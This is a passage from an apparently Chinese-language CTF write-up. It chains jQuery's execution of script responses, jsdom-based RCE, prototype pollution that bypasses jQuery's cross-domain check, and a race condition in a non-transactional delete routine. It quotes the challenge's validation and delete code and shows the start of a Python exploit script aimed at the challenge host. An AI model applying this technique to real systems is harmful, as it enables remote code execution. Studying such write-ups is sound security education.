jquery的ajax有个特性是如果返回的content-type是text/javascript等代表着js脚本,那么便会执行js,结合上面的jsdom从而RCE,但是在低版本的话确实可以这么做,但是在高版本jquery进行了限制,如果是跨域请求便不会执行脚本

调试jquery代码发现:

image2617

这里会覆盖我们的content-type,继续调试发现设置crossDomain的逻辑

image2751

如果s.crossDomain == null就会进入是否跨域的判断

利用前面的原型链污染从而绕过jquery的跨域限制

还剩下一个问题,我们如何传入自己的url

express开着一个中间件限制了我们url,而且也不让更新url类型的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const middlewares = [
// should be
body('*').trim(),
body('type').if(body('type').exists()).bail().isIn(['url', 'text'])
.withMessage("type must be `url` or `text`"),
body('block').if(body('type').exists()).notEmpty()
.withMessage("no `block` content").bail()
.if(body('type').isIn(['url'])).isURL({
require_tld: false
})
.custom((value, {
req
}) => new URL(value).host === host)
.withMessage("invalid url!"),
(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).json({
errors: errors.array()
})
}
next()
}
]

回到我们刚刚说的第二点有趣的地方,这个简单的数据库并不支持事务功能,也就是说删除type和data并不会同时删除是存在一定的时间差的,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
D(id) {
let di, dt
for (const index in this.datas) {
if (this.datas[index].id === id) {
dt = this.types[index]
this.types.splice(index, 1)
di = index
}
}
if (dt === 'url') {
requests(this.datas[di].block, "DELETE").finally(()=>{
this.datas = this.datas.filter((value)=>value.id !== id)
})
} else {
this.datas = this.datas.filter((value)=>value.id !== id)
}
}

在删除了type后,他进行了一个相当耗时的操作:访问url,之后才删除data,又因为这里是一个链式删除,一个接着一个删除,所有type删除完后它可能才删除一个data

于是有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
challenge = "http://eci-2ze1whgyeh7v30y5j8yh.cloudeci1.ichunqiu.com:8888"
def insertUrl(url):
burp0_url = challenge+"/data"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"type": "url", "block": url}
result = {}
while True:
try:
result = requests.post(burp0_url, headers=burp0_headers, data=burp0_data).json()
except Exception as e:
continue
return result

def insertData(data):
burp0_url = challenge+"/data"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"type": "text", "block": data}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
return r.json()

def setLongLine(length=2000):
endId=""
url = "http://localhost:8888/data/fake-uuid"
count = 0
while count < length:
count+=1
data = insertUrl(url)
url = "http://localhost:8888/data/"+data["data"]["id"]
endId = data["data"]["id"]